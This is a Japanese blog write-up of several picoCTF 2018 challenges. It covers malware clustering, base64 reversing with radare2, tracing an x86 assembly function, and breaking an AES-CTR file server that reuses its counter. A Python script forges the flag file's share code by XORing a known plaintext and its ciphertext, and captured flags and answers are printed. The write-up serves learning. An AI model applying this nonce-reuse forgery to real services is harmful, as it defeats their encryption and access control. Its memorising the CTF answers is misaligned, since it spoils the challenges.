picoCTF 2018 の write-up 400, 425, 450点問題編。
今回も、同じ点数帯とはいえ難易度がまちまちだった印象。
調べないと全く歯が立たない問題や、調べても解けるまでにめっちゃ時間がかかる問題も多かった。アセンブラをちゃんと読んだり、総当たりしたり…。
何れにせよ勉強になるコンテンツが多く、やってよかったです٩(๑❛ᴗ❛๑)۶
ところでReversing問題、今回は後追いなので色々調べながら&試行錯誤しながらFlag出せましたが、結構解けている人数も多く、アセンブラが読めるようになるともっと早く解けるようになるの?それとももっと良い解き方があるの?(ಠ_ಠ) と悶々。
こんなに時間をかけていては、競技時間中に全部の問題を見ることすらままならなさそう。
450pt問題までを解いた時点で 17885pt, 384位。まだまだ私のように後追いでやっている人がいるようで、一日経つと順位が結構変わってたりする。勉強になるし後追いでやるのも良いよね!
そして今回もWeb問題1つ、サーバーが落ちてるっぽくて応答がないんですよね…。問い合わせ返事が返ってこず。とても勉強になるので是非やってみたい&下の図のようにまだWeb系はLocked問題があるみたいなので、今解けてない問題がLock解除に関わってないと良いなーと思っている次第。
350点問題まではこちら。
[Forensics] Malware Shops (400pt)
There has been some malware detected, can you help with the analysis? More info here. Connect with nc 2018shell.picoctf.com 18874.
DLできるのは、下記の画像とテキスト。
You've been given a dataset of about 500 malware binary files that have been found on your organization's computers. Whenever you find more malware, you want to be able to tell if you've seen a file like this before. Binary files are hard to understand. When code is written, there are several more steps before it becomes software. Some parts of this process are: i. Compiling, which turns human-readable source code into assembly code. Assembly code is difficult for humans to read, but it closely mimics the most basic raw instructions that a computer needs in order to run a program. ii. Assembling, which turns assembly code into machine code. Machine code is impossible for humans to read, but this representation is what a computer actually needs to execute. The malware binary files that were given to you to analyze are all in machine code, but luckily, you were able to run a program called a disassembler to turn them back into assembly code. Assembly code contains *instructions* which tell a computer how to update its own internal memory, and its progress through reading the assembly code itself. For instance, the `jmp` instruction means "jump to executing a different instruction", and the `add` instruction means "add two numbers and store the result in memory". Your dataset contains data about all the malware files, including their file hash, which serves as a name, and the counts of all of the `jmp` and `add` instructions. Malware attackers often release many slightly different versions of the same malware over time. These different versions always have totally different hashes, but they are likely to have similar numbers of `jmp` and `add` instructions.
テキスト、長い。一応ざっと目を通しておきます。
指定されたホストに接続してみます。
$ nc 2018shell.picoctf.com 18874 You'll need to consult the file `clusters.png` to answer the following questions. How many attackers created the malware in this dataset?
ちょっと時間がかかりましたが(2s程度)、問題文が出てきました。
この問題は、配布された plot.png
を見た所、特に凡例や説明がありませんが attackers = 色の数 だと予測して色の数を数えました。色がわかりにくくて自信がなかったけどあってた。
5 Correct!
次の問題が。
In the following sample of files from the larger dataset, which file was made by the same attacker who made the file 23c978ca? Indicate your answer by entering that file's hash. hash jmp_count add_count 0 23c978ca 20.0 65.0 1 628e79cf 9.0 21.0 2 24c2d2ed 37.0 29.0 3 b390105c 40.0 9.0 4 6474e904 44.0 7.0 5 ebaf5ccd 8.0 19.0 6 dc56de8f 13.0 37.0 7 e2dd99c5 27.0 30.0 8 2f6775e6 25.0 67.0 9 825d177a 12.0 41.0
こちらの問題はinfo.txt
の方に、同じマルウェアの作者だとjmpやaddの数が似ているものを量産することがしばしばあります、とのことだったので、似ているものを探して回答。
2f6775e6 Correct! Great job. You've earned the flag: picoCTF{w4y_0ut_08631993}
おや、もうflag出てきた。この問題で 400pt ももらえるのか…( ・ὢ・ )
点数で決めつけずに一通り問題を見るべきだな。
[Reversing] Radix's Terminal (400pt)
Can you find the password to Radix's login? You can also find the executable in /problems/radix-s-terminal_3_ebd96675807277b0ab95a5d197ef3de9?
DLできるのは下記の実行ファイル。
$ file radix radix: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=bf6cc064e7d45cc4dc204c1e82976e8523a4cd94, not stripped
実行してみます。
$ ./radix Please provide a password!
パスワード!と怒られたので、なんか入れてみます。
$ ./radix test Incorrect Password!
ほうほう。シンプルな動作。ヒントはこれしか無い&Reversing問題なので、おとなしくアセンブラを読んでみます。今回もradare2を使用。
main関数がこちら。
[0x08048737]> pdf / (fcn) main 143 | main (int argc, char **argv, char **envp); | ; var int local_8h @ ebp-0x8 | ; arg int arg_4h @ esp+0x4 | ; DATA XREF from entry0 (0x8048437) | 0x08048737 8d4c2404 lea ecx, dword [arg_4h] ; 4 | 0x0804873b 83e4f0 and esp, 0xfffffff0 | 0x0804873e ff71fc push dword [ecx - 4] | 0x08048741 55 push ebp | 0x08048742 89e5 mov ebp, esp | 0x08048744 53 push ebx | 0x08048745 51 push ecx | 0x08048746 89cb mov ebx, ecx | 0x08048748 a1aca00408 mov eax, dword [obj.stdout__GLIBC_2.0] ; obj.__TMC_END ; [0x804a0ac:4]=0 | 0x0804874d 6a00 push 0 | 0x0804874f 6a02 push 2 ; 2 | 0x08048751 6a00 push 0 | 0x08048753 50 push eax | 0x08048754 e897fcffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size) | 0x08048759 83c410 add esp, 0x10 | 0x0804875c 833b01 cmp dword [ebx], 1 | ,=< 0x0804875f 7f17 jg 0x8048778 | | 0x08048761 83ec0c sub esp, 0xc | | 0x08048764 6889880408 push str.Please_provide_a_password ; 0x8048889 ; "Please provide a password!" | | 0x08048769 e852fcffff call sym.imp.puts ; int puts(const char *s) | | 0x0804876e 83c410 add esp, 0x10 | | 0x08048771 b8ffffffff mov eax, 0xffffffff ; -1 | ,==< 0x08048776 eb44 jmp 0x80487bc | |`-> 0x08048778 8b4304 mov eax, dword [ebx + 4] ; [0x4:4]=-1 ; 4 | | 0x0804877b 83c004 add eax, 4 | | 0x0804877e 8b00 mov eax, dword [eax] | | 0x08048780 83ec0c sub esp, 0xc | | 0x08048783 50 push eax | | 0x08048784 e892fdffff call sym.check_password | | 0x08048789 83c410 add esp, 0x10 | | 0x0804878c 84c0 test al, al | |,=< 0x0804878e 7517 jne 0x80487a7 | || 0x08048790 83ec0c sub esp, 0xc | || 0x08048793 68a4880408 push str.Congrats__now_where_s_my_flag ; 0x80488a4 ; "Congrats, now where's my flag?" | || 0x08048798 e823fcffff call sym.imp.puts ; int puts(const char *s) | || 0x0804879d 83c410 add esp, 0x10 | || 0x080487a0 b800000000 mov eax, 0 | ,===< 0x080487a5 eb15 jmp 0x80487bc | ||`-> 0x080487a7 83ec0c sub esp, 0xc | || 0x080487aa 68c3880408 push str.Incorrect_Password ; 0x80488c3 ; "Incorrect Password!" | || 0x080487af e80cfcffff call sym.imp.puts ; int puts(const char *s) | || 0x080487b4 83c410 add esp, 0x10 | || 0x080487b7 b8ffffffff mov eax, 0xffffffff ; -1 | || ; CODE XREFS from main (0x8048776, 0x80487a5) | ``--> 0x080487bc 8d65f8 lea esp, dword [local_8h] | 0x080487bf 59 pop ecx | 0x080487c0 5b pop ebx | 0x080487c1 5d pop ebp | 0x080487c2 8d61fc lea esp, dword [ecx - 4] \ 0x080487c5 c3 ret
check_password
関数で、入力とpasswordが合うかをチェックし、合っていたら "Congrats, now where's my flag?" と出力するっぽい。
check_password
関数を見てみた所、異常に長い・・・。これを真面目に解読するのは大変そう・・・。
/ (fcn) sym.check_password 540 | sym.check_password (int arg_8h); | ; var int local_3ch @ ebp-0x3c | ; var int local_38h @ ebp-0x38 | ; var int local_34h @ ebp-0x34 | ; var int local_30h @ ebp-0x30 | ; var int local_2ch @ ebp-0x2c | ; var int local_28h @ ebp-0x28 | ; var int local_24h @ ebp-0x24 | ; var int local_20h @ ebp-0x20 | ; var int local_1ch @ ebp-0x1c | ; var int local_18h @ ebp-0x18 | ; var int local_14h @ ebp-0x14 | ; var int local_10h @ ebp-0x10 | ; var int local_ch @ ebp-0xc | ; var int local_4h @ ebp-0x4 | ; arg int arg_8h @ ebp+0x8 | ; CALL XREF from main (0x8048784) | 0x0804851b 55 push ebp | 0x0804851c 89e5 mov ebp, esp | 0x0804851e 53 push ebx | 0x0804851f 83ec44 sub esp, 0x44 ; 'D' | 0x08048522 8b4508 mov eax, dword [arg_8h] ; [0x8:4]=-1 ; 8 | 0x08048525 8945c4 mov dword [local_3ch], eax | 0x08048528 65a114000000 mov eax, dword gs:[0x14] ; [0x14:4]=-1 ; 20 | 0x0804852e 8945f4 mov dword [local_ch], eax | 0x08048531 31c0 xor eax, eax | 0x08048533 89e0 mov eax, esp | 0x08048535 89c3 mov ebx, eax | 0x08048537 83ec0c sub esp, 0xc | 0x0804853a ff75c4 push dword [local_3ch] | 0x0804853d e88efeffff call sym.imp.strlen ; size_t strlen(const char *s) | 0x08048542 83c410 add esp, 0x10 | 0x08048545 8945d4 mov dword [local_2ch], eax | 0x08048548 8b45d4 mov eax, dword [local_2ch] | 0x0804854b 8d4802 lea ecx, dword [eax + 2] ; 2 | 0x0804854e ba56555555 mov edx, 0x55555556 ; 'VUUU' | 0x08048553 89c8 mov eax, ecx | 0x08048555 f7ea imul edx | 0x08048557 89c8 mov eax, ecx | 0x08048559 c1f81f sar eax, 0x1f | 0x0804855c 29c2 sub edx, eax | 0x0804855e 89d0 mov eax, edx | 0x08048560 c1e002 shl eax, 2 | 0x08048563 8945d8 mov dword [local_28h], eax | 0x08048566 8b45d8 mov eax, dword [local_28h] | 0x08048569 83c001 add eax, 1 | 0x0804856c 8d50ff lea edx, dword [eax - 1] | 0x0804856f 8955dc mov dword [local_24h], edx | 0x08048572 89c2 mov edx, eax | 0x08048574 b810000000 mov eax, 0x10 ; 16 | 0x08048579 83e801 sub eax, 1 | 0x0804857c 01d0 add eax, edx | 0x0804857e b910000000 mov ecx, 0x10 ; 16 | 0x08048583 ba00000000 mov edx, 0 | 0x08048588 f7f1 div ecx | 0x0804858a 6bc010 imul eax, eax, 0x10 | 0x0804858d 29c4 sub esp, eax | 0x0804858f 89e0 mov eax, esp | 0x08048591 83c000 add eax, 0 | 0x08048594 8945e0 mov dword [local_20h], eax | 0x08048597 c745c8000000. mov dword [local_38h], 0 | 0x0804859e c745cc000000. mov dword [local_34h], 0 | ,=< 0x080485a5 e909010000 jmp 0x80486b3 | .--> 0x080485aa 8b45c8 mov eax, dword [local_38h] | :| 0x080485ad 3b45d4 cmp eax, dword [local_2ch] | ,===< 0x080485b0 7d18 jge 0x80485ca | |:| 0x080485b2 8b45c8 mov eax, dword [local_38h] | |:| 0x080485b5 8d5001 lea edx, dword [eax + 1] ; 1 | |:| 0x080485b8 8955c8 mov dword [local_38h], edx | |:| 0x080485bb 89c2 mov edx, eax | |:| 0x080485bd 8b45c4 mov eax, dword [local_3ch] | |:| 0x080485c0 01d0 add eax, edx | |:| 0x080485c2 0fb600 movzx eax, byte [eax] | |:| 0x080485c5 0fb6c0 movzx eax, al | ,====< 0x080485c8 eb05 jmp 0x80485cf | |`---> 0x080485ca b800000000 mov eax, 0 | | :| ; CODE XREF from sym.check_password (0x80485c8) | `----> 0x080485cf 8945e4 mov dword [local_1ch], eax | :| 0x080485d2 8b45c8 mov eax, dword [local_38h] | :| 0x080485d5 3b45d4 cmp eax, dword [local_2ch] | ,===< 0x080485d8 7d18 jge 0x80485f2 | |:| 0x080485da 8b45c8 mov eax, dword [local_38h] | |:| 0x080485dd 8d5001 lea edx, dword [eax + 1] ; 1 | |:| 0x080485e0 8955c8 mov dword [local_38h], edx | |:| 0x080485e3 89c2 mov edx, eax | |:| 0x080485e5 8b45c4 mov eax, dword [local_3ch] | |:| 0x080485e8 01d0 add eax, edx | |:| 0x080485ea 0fb600 movzx eax, byte [eax] | |:| 0x080485ed 0fb6c0 movzx eax, al | ,====< 0x080485f0 eb05 jmp 0x80485f7 | |`---> 0x080485f2 b800000000 mov eax, 0 | | :| ; CODE XREF from sym.check_password (0x80485f0) | `----> 0x080485f7 8945e8 mov dword [local_18h], eax | :| 0x080485fa 8b45c8 mov eax, dword [local_38h] | :| 0x080485fd 3b45d4 cmp eax, dword [local_2ch] | ,===< 0x08048600 7d18 jge 0x804861a | |:| 0x08048602 8b45c8 mov eax, dword [local_38h] | |:| 0x08048605 8d5001 lea edx, dword [eax + 1] ; 1 | |:| 0x08048608 8955c8 mov dword [local_38h], edx | |:| 0x0804860b 89c2 mov edx, eax | |:| 0x0804860d 8b45c4 mov eax, dword [local_3ch] | |:| 0x08048610 01d0 add eax, edx | |:| 0x08048612 0fb600 movzx eax, byte [eax] | |:| 0x08048615 0fb6c0 movzx eax, al | ,====< 0x08048618 eb05 jmp 0x804861f | |`---> 0x0804861a b800000000 mov eax, 0 | | :| ; CODE XREF from sym.check_password (0x8048618) | `----> 0x0804861f 8945ec mov dword [local_14h], eax | :| 0x08048622 8b45e4 mov eax, dword [local_1ch] | :| 0x08048625 c1e010 shl eax, 0x10 | :| 0x08048628 89c2 mov edx, eax | :| 0x0804862a 8b45e8 mov eax, dword [local_18h] | :| 0x0804862d c1e008 shl eax, 8 | :| 0x08048630 01c2 add edx, eax | :| 0x08048632 8b45ec mov eax, dword [local_14h] | :| 0x08048635 01d0 add eax, edx | :| 0x08048637 8945f0 mov dword [local_10h], eax | :| 0x0804863a 8b45cc mov eax, dword [local_34h] | :| 0x0804863d 8d5001 lea edx, dword [eax + 1] ; 1 | :| 0x08048640 8955cc mov dword [local_34h], edx | :| 0x08048643 8b55f0 mov edx, dword [local_10h] | :| 0x08048646 c1ea12 shr edx, 0x12 | :| 0x08048649 83e23f and edx, 0x3f | :| 0x0804864c 0fb68a60a004. movzx ecx, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789] ; obj.alphabet ; [0x804a060:1]=65 ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" | :| 0x08048653 8b55e0 mov edx, dword [local_20h] | :| 0x08048656 880c02 mov byte [edx + eax], cl | :| 0x08048659 8b45cc mov eax, dword [local_34h] | :| 0x0804865c 8d5001 lea edx, dword [eax + 1] ; 1 | :| 0x0804865f 8955cc mov dword [local_34h], edx | :| 0x08048662 8b55f0 mov edx, dword [local_10h] | :| 0x08048665 c1ea0c shr edx, 0xc | :| 0x08048668 83e23f and edx, 0x3f | :| 0x0804866b 0fb68a60a004. movzx ecx, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789] ; obj.alphabet ; [0x804a060:1]=65 ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" | :| 0x08048672 8b55e0 mov edx, dword [local_20h] | :| 0x08048675 880c02 mov byte [edx + eax], cl | :| 0x08048678 8b45cc mov eax, dword [local_34h] | :| 0x0804867b 8d5001 lea edx, dword [eax + 1] ; 1 | :| 0x0804867e 8955cc mov dword [local_34h], edx | :| 0x08048681 8b55f0 mov edx, dword [local_10h] | :| 0x08048684 c1ea06 shr edx, 6 | :| 0x08048687 83e23f and edx, 0x3f | :| 0x0804868a 0fb68a60a004. movzx ecx, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789] ; obj.alphabet ; [0x804a060:1]=65 ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" | :| 0x08048691 8b55e0 mov edx, dword [local_20h] | :| 0x08048694 880c02 mov byte [edx + eax], cl | :| 0x08048697 8b45cc mov eax, dword [local_34h] | :| 0x0804869a 8d5001 lea edx, dword [eax + 1] ; 1 | :| 0x0804869d 8955cc mov dword [local_34h], edx | :| 0x080486a0 8b55f0 mov edx, dword [local_10h] | :| 0x080486a3 83e23f and edx, 0x3f | :| 0x080486a6 0fb68a60a004. movzx ecx, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789] ; obj.alphabet ; [0x804a060:1]=65 ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" | :| 0x080486ad 8b55e0 mov edx, dword [local_20h] | :| 0x080486b0 880c02 mov byte [edx + eax], cl | :| ; CODE XREF from sym.check_password (0x80485a5) | :`-> 0x080486b3 8b45c8 mov eax, dword [local_38h] | : 0x080486b6 3b45d4 cmp eax, dword [local_2ch] | `==< 0x080486b9 0f8cebfeffff jl 0x80485aa | 0x080486bf c745d0000000. mov dword [local_30h], 0 | ,=< 0x080486c6 eb14 jmp 0x80486dc | .--> 0x080486c8 8b45d8 mov eax, dword [local_28h] | :| 0x080486cb 83e801 sub eax, 1 | :| 0x080486ce 2b45d0 sub eax, dword [local_30h] | :| 0x080486d1 8b55e0 mov edx, dword [local_20h] | :| 0x080486d4 c604023d mov byte [edx + eax], 0x3d ; '=' ; [0x3d:1]=255 ; 61 | :| 0x080486d8 8345d001 add dword [local_30h], 1 | :| ; CODE XREF from sym.check_password (0x80486c6) | :`-> 0x080486dc 8b4dd4 mov ecx, dword [local_2ch] | : 0x080486df ba56555555 mov edx, 0x55555556 ; 'VUUU' | : 0x080486e4 89c8 mov eax, ecx | : 0x080486e6 f7ea imul edx | : 0x080486e8 89c8 mov eax, ecx | : 0x080486ea c1f81f sar eax, 0x1f | : 0x080486ed 29c2 sub edx, eax | : 0x080486ef 89d0 mov eax, edx | : 0x080486f1 89c2 mov edx, eax | : 0x080486f3 01d2 add edx, edx | : 0x080486f5 01c2 add edx, eax | : 0x080486f7 89c8 mov eax, ecx | : 0x080486f9 29d0 sub eax, edx | : 0x080486fb 8b0485a0a004. mov eax, dword [eax*4 + obj.mod] ; [0x804a0a0:4]=0 | : 0x08048702 3b45d0 cmp eax, dword [local_30h] | `==< 0x08048705 7fc1 jg 0x80486c8 | 0x08048707 8b55d8 mov edx, dword [local_28h] | 0x0804870a 8b45e0 mov eax, dword [local_20h] | 0x0804870d 83ec04 sub esp, 4 | 0x08048710 52 push edx | 0x08048711 6850880408 push str.cGljb0NURntiQXNFXzY0X2VOQ29EaU5nX2lTX0VBc1lfNzU3NDAyNTF9 ; 0x8048850 ; "cGljb0NURntiQXNFXzY0X2VOQ29EaU5nX2lTX0VBc1lfNzU3NDAyNTF9" | 0x08048716 50 push eax | 0x08048717 e8e4fcffff call sym.imp.strncmp ; int strncmp(const char *s1, const char *s2, size_t n) | 0x0804871c 83c410 add esp, 0x10 | 0x0804871f 89dc mov esp, ebx | 0x08048721 8b5df4 mov ebx, dword [local_ch] | 0x08048724 65331d140000. xor ebx, dword gs:[0x14] | ,=< 0x0804872b 7405 je 0x8048732 | | 0x0804872d e87efcffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void) | `-> 0x08048732 8b5dfc mov ebx, dword [local_4h] | 0x08048735 c9 leave \ 0x08048736 c3 ret
で、Hintを見てみたらこれですよ。
あー、見てしもうた・・・。怪しい文字列は気になってたんです。0x08048711
の cGljb0NURntiQXNFXzY0X2VOQ29EaU5nX2lTX0VBc1lfNzU3NDAyNTF9
。
あと 0x0804864c
とかで何度か参照している obj.alphabet ; [0x804a060:1]=65 ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
できればこれらの情報から base64 にたどり着きたかったけど Hint からたどり着いてしまった・・・。cGljb0NURntiQXNFXzY0X2VOQ29EaU5nX2lTX0VBc1lfNzU3NDAyNTF9
この文字列にパディングでも入っていればもう少し閃きやすかったんですが。パット見てbase64だと思いつかなかったです。残念。
ということで、上記の文字列を base64 decode してやると、flagが。
これもヒントありだと 400pt ももらえるのかーって感じになった。
[Reversing] assembly-3 (400pt)
What does asm3(0xb5e8e971,0xc6b58a95,0xe20737e9) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/assembly-3_3_bfab45ee7af9befc86795220ffa362f4.
DLファイルは下記のアセンブラコード。
.intel_syntax noprefix .bits 32 .global asm3 asm3: push ebp mov ebp,esp mov eax,0x19 xor al,al mov ah,BYTE PTR [ebp+0xa] sal ax,0x10 sub al,BYTE PTR [ebp+0xd] add ah,BYTE PTR [ebp+0xc] xor ax,WORD PTR [ebp+0x12] mov esp, ebp pop ebp ret
今回は入力が3つになっていますが、コード自体はかなり短いのでなんとかなりそう。
Stackの状態は下記のようになります。
ebp + 0x00 | ebp | ebp + 0x04 | ret | ebp + 0x08 | arg1 = 0xb5e8e971 | ebp + 0x0c | arg2 = 0xc6b58a95 | ebp + 0x10 | arg3 = 0xe20737e9 |
ここで、予備知識
http://dukedog.webcrow.jp/CheatEngineHelp/asm-basics-1.htm
より、EAXが FFEEDDCC
の場合、レジスタは下記のように構成されます。
EAX FFEEDDCC AX DDCC AH DD AL CC
また、
DWORD: 4バイト WORD: 2バイト BYTE: 1バイト
今回は、WORD/BYTE単位で扱うため、それぞれのグループに分割してみます。
【BYTE】
ebp + 0x08 | 0x71 | ebp + 0x09 | 0xe9 | ebp + 0x0a | 0xe8 | ebp + 0x0b | 0xb5 | ebp + 0x0c | 0x95 | ebp + 0x0d | 0x8a | ebp + 0x0e | 0xb5 | ebp + 0x0f | 0xc6 | ebp + 0x10 | 0xe9 | ebp + 0x11 | 0x37 | ebp + 0x12 | 0x07 | ebp + 0x13 | 0xe2 |
【WORD】
ebp + 0x08 | 0xe971 | ebp + 0x0a | 0xb5e8 | ebp + 0x0c | 0x8a95 | ebp + 0x0e | 0xc6b5 | ebp + 0x10 | 0x37e9 | ebp + 0x12 | 0xe207 |
では、命令毎に処理を追ってみます。
asm3: push ebp mov ebp,esp mov eax,0x19 # eax = 0x19 xor al,al # 0x19 xor 0x19 => 0; eax = 0x00000000 mov ah,BYTE PTR [ebp+0xa] # ah に 0xe8 を代入; eax = 0x0000e800 sal ax,0x10 # ax を16bit 左シフト; ax = 0xe800 => 0x0000; eax = 0x00000000 sub al,BYTE PTR [ebp+0xd] # al = al - 0x8a; eax = 0x00000076 add ah,BYTE PTR [ebp+0xc] # ah = ah + 0x95; eax = 0x00009576 xor ax,WORD PTR [ebp+0x12] # ax = 0x9576 xor 0xe207; eax = 0x00007771 mov esp, ebp pop ebp ret
最終的な eax は、0x7771
今までにないコマンドや、あまり使わなかった AX, AH, ALが学べてよかった!処理自体は0x0
に戻るところが多くて不安でしたが、短いのでなんとか。
[Crypto] eleCTRic (400pt)
You came across a custom server that Dr Xernon's company eleCTRic Ltd uses. It seems to be storing some encrypted files. Can you get us the flag? Connect with nc 2018shell.picoctf.com 42185. Source.
またXernonさんです。この会社eleCTRicでは、ファイルを暗号化して保管してくれるとのことです。
なんだか久しぶりな気がする暗号問題。解いたチームが309と今までで一番少ないので、難しいに違いない。
DLできるソースは下記。長め。
#!/usr/bin/python from Crypto import Random from Crypto.Cipher import AES import sys import time import binascii class AESCipher(object): def __init__(self): self.bs = 32 random = Random.new() self.key = random.read(AES.block_size) self.ctr = random.read(AES.block_size) def encrypt(self, raw): cipher = AES.new(self.key, AES.MODE_CTR, counter=lambda: self.ctr) return cipher.encrypt(raw).encode('base64').replace('\n', '') def decrypt(self, enc): try: enc = enc.decode('base64') except binascii.Error: return None cipher = AES.new(self.key, AES.MODE_CTR, counter=lambda: self.ctr) return cipher.decrypt(enc) class Unbuffered(object): def __init__(self, stream): self.stream = stream def write(self, data): self.stream.write(data) self.stream.flush() def writelines(self, datas): self.stream.writelines(datas) self.stream.flush() def __getattr__(self, attr): return getattr(self.stream, attr) sys.stdout = Unbuffered(sys.stdout) def get_flag(): try: with open("flag.txt") as f: return f.read().strip() except IOError: return "picoCTF{xxxFAKEFLAGxxx} Something went wrong. Contact organizers." def welcome(): print "Welcome to eleCTRic Ltd's Safe Crypto Storage" print "---------------------------------------------" def menu(): print "" print "Choices:" print " E[n]crypt and store file" print " D[e]crypt file" print " L[i]st files" print " E[x]it" while True: choice = raw_input("Please choose: ") if choice in list('neix'): print "" return choice def do_encrypt(aes, files): filename = raw_input("Name of file? ") if any(x in filename for x in '._/\\ '): print "Disallowed characters" return filename += '.txt' if filename in files: if raw_input("Clobber previously existing file? [yN] ") != 'y': return data = raw_input("Data? ") files[filename] = aes.encrypt(data) print "Share code:" print aes.encrypt(filename) def do_decrypt(aes, files): enc = raw_input("Share code? ") filename = aes.decrypt(enc) if filename is None: print "Invalid share code" return if filename in files: print "Data: " print aes.decrypt(files[filename]) else: print "Could not find file" return def do_list_files(files): print "Files:" for f in files: print " " + f def main(): print "Initializing Problem..." aes = AESCipher() flag = get_flag() flag_file_name = "flag_%s" % Random.new().read(10).encode('hex') files = {flag_file_name + ".txt": aes.encrypt(flag)} welcome() while True: choice = menu() if choice == 'n': # Encrypt do_encrypt(aes, files) elif choice == 'e': # Decrypt do_decrypt(aes, files) elif choice == 'i': # List files do_list_files(files) elif choice == 'x': # Exit break else: print "Impossible! Contact contest admins." sys.exit(1) main()
まずは動作を確認するため、指定のホストに接続してみます。
$ nc 2018shell.picoctf.com 42185 Initializing Problem... Welcome to eleCTRic Ltd's Safe Crypto Storage --------------------------------------------- Choices: E[n]crypt and store file D[e]crypt file L[i]st files E[x]it Please choose: i
メニューが出てきました。現在のファイルを一覧します。
Files: flag_e31caf8b1f3e8801f5aa.txt
明らかにこのファイルが怪しいですね。このファイルを読むことができればGOALなニオイがします。
次に、新しくファイルを暗号化して保管してもらいます。
Choices: E[n]crypt and store file D[e]crypt file L[i]st files E[x]it Please choose: n Name of file? 12345 Data? 12345 Share code: QNElDbt3jR0w Choices: E[n]crypt and store file D[e]crypt file L[i]st files E[x]it Please choose: n Name of file? abcde Data? fghijklmn Share code: EIF1Xet3jR0w
2つ作ってみましたが、新しくファイルをstoreすると、Share code
なるものがお知らせされるみたいです。このShareCode、Base64 encodeされてるっぽい。(いくつか試すと、最後が ===
などパディングっぽいので終わるのが出てきたため)
リストしてみると、作成したファイルも出てきます。
Choices: E[n]crypt and store file D[e]crypt file L[i]st files E[x]it Please choose: i Files: flag_e31caf8b1f3e8801f5aa.txt abcde.txt 12345.txt
作成したファイルをdectyptしてみます。
Choices: E[n]crypt and store file D[e]crypt file L[i]st files E[x]it Please choose: e Share code? EIF1Xet3jR0w Data: fghijklmn
Share Codeを聞かれるみたいです。Share Codeがわかれば、flag_e31caf8b1f3e8801f5aa.txt
の中身を出力してくれそう。
ソースコードを解読していきます。
まず、接続時に AESCipher
インスタンスの生成・初期化が走ります。
AESのmodeは CTR
。AES暗号した結果をさらにBase64エンコードして管理しています。
その後、get_flag
関数でflagを読み出し、ファイル名を flag_
+ ランダムな10桁のhex + .txt、データを上記の aes
インスタンスの暗号処理で暗号化して記憶しています。
do_encrypt()
関数を見てみると、Share code
はファイル名をデータと同じくAES暗号したやつのようです。
あまり関係なさそうですが、do_encrypt()
関数で、新規に入力したファイル名が既存のと被っていた場合、"Clobber previously existing file? [yN] " と表示する(Clobberって上書きっていう意味なんですね。ぐぐったら "繰り返し叩く" とか "打ちのめす" とか出てきて穏やかでない)くせに、"y" を選択してもそのままreturnを返すだけでデータは上書きしない様子。
AES暗号の CTR モードについて調べてみます。またこちらのサイトにお世話になりました。
暗号技術入門04 ブロック暗号のモード〜ブロック暗号をどのように繰り返すのか〜 | SpiriteK Blog
CTRモードは、1ずつ増加していくカウンタを暗号化して、鍵ストリームを作り出す ストリームカウンタを文字列化したビット列と、平文ブロックとのXORを取った結果が、暗号ブロックとなる。
ここで、encrypt()
関数を見てみると、 counter
が同じ AESCipher
インスタンスを使っている場合は固定になっています。上記記事の nonce
も、同じインスタンスの場合は変わらないため、全ての暗号化で同じ鍵ストリームが使用されます。
この固定の鍵ストリームと平文のXORが暗号後のブロックになっているため、平文と暗号文があれば固定鍵ストリームを再現できそうです。
条件を整理するとこんな感じ。
- flagファイルのフイル名を暗号化した文字列が Share code, これが知りたい
- 暗号化は全て AES-CTR, nonce, counterを更新せずに使っている
- 任意の文字列(
._/\\
は除外)を暗号化した結果が得られる - 3.の入力文字列と暗号化した結果のxorが、flagファイルを暗号化するのにも使用した固定鍵ストリームになる
ここで、
- 固定鍵ストリーム:
fix_key
- flagファイルのファイル名:
flag_file
- flagファイルのShare code:
flag_share_code
- 任意のファイルのファイル名:
test_file
- testファイルのShare code:
test_share_code
とすると、下記が成り立ちます。(base64処理は省略)
fix_key xor flag_file = flag_share_code fix_key xor test_file = test_share_code
A xor B = C
の場合、 A = B xor C
なので
fix_key = test_file xor test_share_code test_file xor test_share_code xor flag_file = flag_share_code
これで flag_share_code
が入手できそうです。
今回は flag_file
と test_file
の長さを揃えて簡単にするため、test_file
はflag_file
で入力が弾かれる_
を@
に置き換えたものにして見ました。
解いてみます。まずは接続して、同じ鍵ストリームを用いて生成された各パラメータを取得します。
$ nc 2018shell.picoctf.com 42185 Initializing Problem... Welcome to eleCTRic Ltd's Safe Crypto Storage --------------------------------------------- Choices: E[n]crypt and store file D[e]crypt file L[i]st files E[x]it Please choose: i Files: flag_c5ba012b03726aa7f89d.txt Choices: E[n]crypt and store file D[e]crypt file L[i]st files E[x]it Please choose: n Name of file? flag@c5ba012b03726aa7f89d Data? a Share code: DmM/ra5kSHkC/ntMcvrNAVo5P6vZYUUiB+A+BmQ=
繋ぎっぱなしにしたまま、下記のスクリプトを動かします。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import base64 flag_file = 'flag_c5ba012b03726aa7f89d.txt' test_file = 'flag@c5ba012b03726aa7f89d.txt' test_share_code = 'DmM/ra5kSHkC/ntMcvrNAVo5P6vZYUUiB+A+BmQ==' # 長さ確認 if len(base64.b64decode(test_share_code)) != len(test_file): raise('invalid input!') flag_share_code = bytearray() for i in range(len(test_file)): flag_share_code.append(ord(test_file[i]) ^ base64.b64decode(test_share_code)[i] ^ ord(flag_file[i])) print(base64.b64encode(flag_share_code))
実行結果
$ python solve.py b'DmM/rbFkSHkC/ntMcvrNAVo5P6vZYUUiB+A+BmQ='
